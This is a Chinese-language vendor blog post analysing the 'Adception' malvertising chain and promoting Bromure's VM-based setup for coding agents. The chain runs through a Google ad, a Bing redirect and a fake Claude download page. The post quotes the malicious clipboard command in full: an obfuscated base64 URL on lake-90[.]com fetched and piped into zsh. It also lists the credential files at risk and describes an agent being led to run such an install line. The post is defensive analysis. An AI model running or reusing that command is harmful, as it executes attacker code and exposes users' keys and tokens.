← 返回所有文章
发布于 · 作者 Renaud Deraison

页面上显示的是真正的命令

10 月 9 日,Push Security 披露了一则“claude mac”的 Google 搜索广告,它的目标地址是一个真实的 bing.com 链接。经过四次重定向后,一个假的 Claude 下载页面显示了 Anthropic 真正的安装命令,而它的复制按钮放进剪贴板的却是另一条:一个隐藏的 URL,通过管道送进 zsh。Push 把这种手法称为 Adception。在 Bromure Agentic Coding 里,Claude Code 通过一个签名的设置步骤进入虚拟机,登录在一台用完即弃的机器里完成,没有人需要在 Mac 的终端里输入安装命令。

页面显示的是 Anthropic 的安装命令,一字不差。复制按钮放进剪贴板的, 却是另一条命令。

Push Security 的某个客户那里,有人在 Google 里输入了“claude mac”。第一个 结果是赞助链接,下方显示的域名是 bing.com。这则广告没有用仿冒域名,也没有 把 Anthropic 拼错。Google 的广告审核批准了一则目标地址是另一个搜索引擎的广告。

Push 于 10 月 9 日星期四公布了这条攻击链, 并把这种手法命名为 Adception。 BleepingComputer 当天下午也报道了此事。Push 的研究人员写道,他们以前见过搜索结果被用作 重定向器,但“从没见过它被用作搜索广告的目标地址,也没找到任何此前的公开 报告”。Bing 链接里的一个时间戳解码后是 10 月 5 日。

四次跳转,到达一个复制按钮

这次点击经过了四站:

  1. google.com/aclk,Google 的广告点击重定向。
  2. bing.com/ck/a,Bing 自己为真实搜索结果提供的点击跟踪链接。它用一个 简短的 JavaScript 页面转发,因此浏览器到达下一跳时带着 bing.com 的 referrer。
  3. 一家真实南美零售商的“关于我们”页面,它的 WordPress 网站已被攻陷。只有 从 Bing 过来、带着正确浏览器请求头的访客才会被转发。
  4. claude-desk-code[.]com,一个精心仿制的 Claude 下载页面,带有 Download for macOS 按钮和一行搞定的终端安装方式。

每一跳都会检查访客从哪里来。直接加载假页面,它的 JavaScript 会读取 document.referrer,既找不到 Google 也找不到 Bing,于是返回 /404.html。 广告审核员、扫描器或粘贴 URL 的研究人员什么都看不到。用 Push 的话说: “恶意 payload 只有在你经由这条特定路径走到链条末端时才会出现。”

页面显示的是 Anthropic 公布的命令:

curl -fsSL https://claude.ai/install.sh | bash

复制按钮放进剪贴板的却是这个:

echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh

粘贴进终端后,前半段会打印一行令人放心、含有 Anthropic URL 的信息。后半段 解码出 lake-90[.]com 上一个隐藏的地址,下载一个 .dat 文件,再通过管道送进 zsh。没有任何东西先落到磁盘上供扫描。Push 把八个诱饵域名,包括 cli-desktop[.]com 和 too.clawddddd[.]com,关联到一套它以 AcSig 为代号 跟踪的工具包,并指出这些域名轮换得很快,“短命的 IoC 价值有限”。

为什么诱饵是 AI 工具

Push 把 Adception 归入 InstallFix。这是它在 3 月首次描述的 ClickFix 变种: 为那些正版安装就是一行终端命令的工具,制作假的安装指南。Claude Code 正是 典型案例。它官方文档中的安装方式就是把 curl 通过管道送进 shell,所以一个 请开发者把这种命令粘贴进终端的页面,看起来就像真的。

Push 表示,ClickFix 页面如今已占其每月检测量的一半以上,而且“我们检测到的 ClickFix 攻击(包括 InstallFix 和 LLMshare 变种)有五分之四是通过搜索引擎 触达受害者的”。搜索“claude mac”的人大多是开发者,而开发者的 Mac 对任何在上面 运行脚本的人来说都很值钱。

Push 没有拿到最终的 payload,所以目前还没人知道这个脚本做了什么。从你的终端 启动的 zsh 进程以你的身份、带着你的主目录运行:

  • ~/.aws/credentials、~/.config/gcloud、~/.kube/config
  • ~/.ssh/id_ed25519 和 ~/.git-credentials
  • gh 令牌,以及 npm 和 PyPI 的发布令牌
  • 每个 checkout 里的 .env 文件
  • 如果 Claude Code 早已安装,还有代理本身的登录信息
  • 浏览器配置文件、cookie 和会话令牌

受害者还会以为安装成功了。如果脚本最后一步安装了真正的 Claude Code,一切 看起来都没问题。

在 Mac 上:四次重定向、一个复制按钮、一次粘贴1. Google 广告搜索:“claude mac”显示域名:bing.com2. bing.com/ck/a真实的搜索结果链接用 JavaScript 转发3. 零售商“关于我们”被攻陷的 WordPress只转发 Bing 来的访客4. claude-desk-code[.]com假的下载页面直接访问:404页面上显示的curl -fsSL https://claude.ai/install.sh | bash放进剪贴板的echo "Downloading Claude…" && curl $(… | base64 -d) | zsh你 Mac 上的终端:lake-90[.]com 的脚本以你的身份运行~/.aws · ~/.config/gcloud · ~/.kube/config · ~/.ssh · gh 令牌 · npm 和 PyPI 令牌 · .env 文件 · 浏览器会话屏幕显示“Downloading Claude: https://claude.ai/install.sh”。运行前不写入磁盘。
Mac 上的 Adception。每次重定向都会检查 referrer,所以只有真正的广告点击才能到达假页面。页面显示 Anthropic 的命令,复制的却是攻击者的命令,粘贴的那一行会以你的身份运行一个隐藏的脚本。

建议把活儿都推给了你

报告之后出现的建议是那份标准清单:自己输入厂商的 URL、不要信任赞助结果、 按下 Return 前先读一遍你粘贴的内容、把任何要你打开终端的安装页面视为可疑。 这些都没错。但它也要求一个正在安装新工具的开发者,读得比一个专为蒙混过一瞥 而打造的页面更仔细。屏幕上的命令是 Anthropic 的。广告的域名是 Bing 的。 重定向经过一家真实的零售商。一个逐项核查过的谨慎开发者,也不会发现任何 异常。

Bromure 去掉的,正是这次攻击所依赖的那一步:开发者把一个编程代理的安装命令, 粘贴进存放着自己密钥的那台 Mac 的终端。

在 Mac 上用 Claude Code,却不必装在 Mac 上

Bromure Agentic Coding 在你 Mac 上的 Linux 虚拟机里运行 Claude Code、Codex、 Grok、Kimi Code 和 Oh My Pi。它们没有一个是通过 Mac 的终端装进去的。

App 是一个经过公证的磁盘映像

Bromure Agentic Coding 以来自 bromure.io、经过签名和公证的 DMG 发布。把它 拖进“应用程序”,Gatekeeper 就会直接打开,不会弹出警告。手册说明了遇到其他 来源的副本该怎么办:“如果你的 DMG 不是从 bromure.io 获取的,而 Gatekeeper 发出警告,请把它当作危险信号,而不是想办法绕过去的东西。”之后,App 会通过 Sparkle 自动更新,并在安装每个更新前,用 Bromure 的签名密钥进行验证。整个 安装过程没有任何命令,所以也没有可以被人调包的复制按钮。

代理以签名的设置步骤送达

首次启动时,设置向导会下载 Bromure 的基础映像,即一块 Ubuntu 24.04 磁盘, 并校验它的 SHA-256。接着,它把代理以目录中列出的设置步骤,安装进你那份映像 副本。目录带有 ed25519 签名,用的是签署 App 更新的同一把密钥,签名覆盖每一条 设置命令。App 会拒绝未签名或被篡改的目录,也会拒绝比它已接受过的目录更旧的 目录。

Claude Code 的步骤是一次用 Socket.dev 供应链扫描器包裹的 npm 安装,在一台 辅助虚拟机里运行。没有人粘贴它,被篡改的下载服务器也改不了它。运行期间,向导 的设置步骤会显示“Customizing the image: installing packages…”。

之后当代理在机器里用 npm install -g 自我更新时,这个请求和其他软件包下载 一样,会经过 Mac 上 Bromure 的代理服务器。代理服务器会在任何一个字节到达 虚拟机之前,应用这台机器的供应链策略(发布时长门槛、OSV、Socket.dev、Depi, 视你启用了哪些而定),并把这次下载记录到 Security Timeline。

登录在一台用完即弃的机器里完成

Claude Code 的安装指南最后一步是登录。在 Bromure 里,这由向导的 Models 步骤处理:选择 Anthropic 登录,在打开的浏览器页面里完成,然后等待 Claude 的 Signed in to。手册描述了底层发生的事:“登录在你的 Mac 上、一台隐藏的 临时机器里进行;你永远不会看到终端。”服务商自己的 CLI 在那台虚拟机里执行 登录。Bromure 在主机上捕获令牌、加密,然后删除虚拟机。

登录信息存放在一个用 AES-GCM 加密的文件里,主密钥保存在 Mac 的 Data Protection Keychain 中,标记为仅限本设备,并关闭了 iCloud 同步。你的主目录里 不会有任何 ~/.claude 令牌文件让脚本捡走,每台机器都拿到自己的替身。

在 Bromure 里:Mac 上有 Claude Code,终端里什么都不用贴App签名、经公证的 DMG来自 bromure.io拖进应用程序,Gatekeeper 直接打开Sparkle 更新,用Bromure 密钥验证没有可复制的命令设置,在 Mac 上映像目录,ed25519 签名:覆盖每条设置命令Claude Code:npm install,Socket.dev 包裹,辅助虚拟机登录:隐藏的临时虚拟机令牌在主机上捕获并加密虚拟机随即删除机器虚拟机 (Ubuntu)Claude Code, Codex, Grok,Kimi Code, Oh My Pisk-ant-api03-brm-…是替身,不是你的密钥npm install -g(自我更新)→ 代理服务器供应链检查→ Security Timeline留在 Mac 上,用 Keychain 主密钥加密(仅限本设备)订阅登录 · 服务商 API 密钥 · git 和云凭据 · SSH 密钥 · 追踪记录
同一个目标,在 Bromure 里。App 是经过公证的 DMG,代理由映像内签名的设置步骤安装,登录在一台事后会被删除的虚拟机里运行。没有任何一步要你把命令粘贴进终端。

当代理自己去找安装程序

Adception 瞄准的是坐在搜索框前的人。编程代理也会查安装说明,而且比人查得 更频繁:缺了一个 CLI、一个新的 SDK、README 里提到的某个 linter。代理读的是 页面的 HTML,而不是点复制,但 InstallFix 页面把恶意命令放在页面源码里, 下一波攻击可能连剪贴板的把戏都懒得用。

假设 Bromure 机器里的一个代理找到了像 claude-desk-code[.]com 这样的页面, 并运行了它的一行命令。这个脚本和你的密钥之间,隔着四层。

脚本在带着替身的 Linux 客户机里运行

这台机器是一台 Ubuntu 虚拟机,脚本就在那个 Linux 客户机里运行。它的主目录里 是项目的 checkout,以及用惯常名称存放的 brm_ 替身:ANTHROPIC_API_KEY、 GH_TOKEN、AWS_SECRET_ACCESS_KEY。真实值以加密形式留在 Mac 上,代理服务器 只在请求发往每个凭据所属的主机时,才把它们放到线路上。一个把找到的令牌全部 收集起来的脚本,收集到的是没有任何服务器会接受的字符串。

发往错误主机的替身会让机器停下

代理服务器会检查每一个外发请求的请求行、请求头和正文,找出要发往不属于它们 的主机的替身。当脚本把战利品发往攻击者的服务器,代理服务器会返回 HTTP 451、 什么都不转发、暂停虚拟机,并在 Mac 上打开 This environment may have been compromised,显示令牌、它的凭据、它所属的主机,以及它被发往的主机。

payload 主机从来不在名单上

机器的 Guardrails 面板有一个 Outbound connections 防火墙,可以按主机、 IP 范围、协议和端口设置规则。把 Unmatched traffic 设为 Deny,允许 模型服务商、软件包仓库和 GitHub,那么发往 lake-90[.]com 的 curl 永远连 不上。判定结果会出现在 Security Timeline 里,就在发出请求的那个会话旁边。

主目录可以回退

机器每次启动都会为主目录创建一个回滚点。关掉机器,选择 Rewind home…, 挑选脚本运行前的那次启动,下次启动就会从那个主目录开始。当前的主目录会先被 保存为一个新的回滚点,所以回退本身也可以撤销。要从头开始,就把机器重置回 基础映像。

没有要粘贴的安装命令

Bromure 以来自 bromure.io、经过公证的 DMG 发布,并通过签名的 Sparkle 版本自动更新。设置过程中没有任何一步要你打开终端。

代理来自签名的目录

Claude Code 和其他代理由设置步骤安装进基础映像,这些步骤的命令都在 ed25519 签名的覆盖范围内。被篡改的服务器改不了它们。

在用完即弃的虚拟机里登录

服务商的登录在一台隐藏的临时机器里运行。令牌在 Mac 上用 Keychain 密钥 加密,每台机器都拿到一个替身。

恶意的一行命令落在虚拟机里

就算代理还是运行了,它也是在带着替身的 Linux 里运行,隔着 Mac 上的 防火墙和入侵检测,而主目录可以回退。

下一则搜索广告

Push 是通过一个客户的一次点击,在一个瞄准单一搜索词的诱饵上发现 Adception 的。AcSig 工具包有八个域名,同一个页面也适用于“codex mac”、“gemini cli install”,或下个月开发者会搜索的任何工具。这次 Google 批准的是一个 Bing 链接。下一次,广告可能会指向另一个广告审核员信任的域名。

把编程代理当作 App 安装一次,让它在设置经过签名、密钥都是替身的地方运行。 想进一步了解粘贴的命令和借来的信任,请阅读 剪贴板就是漏洞 和 他们把你的智能体加进了名单。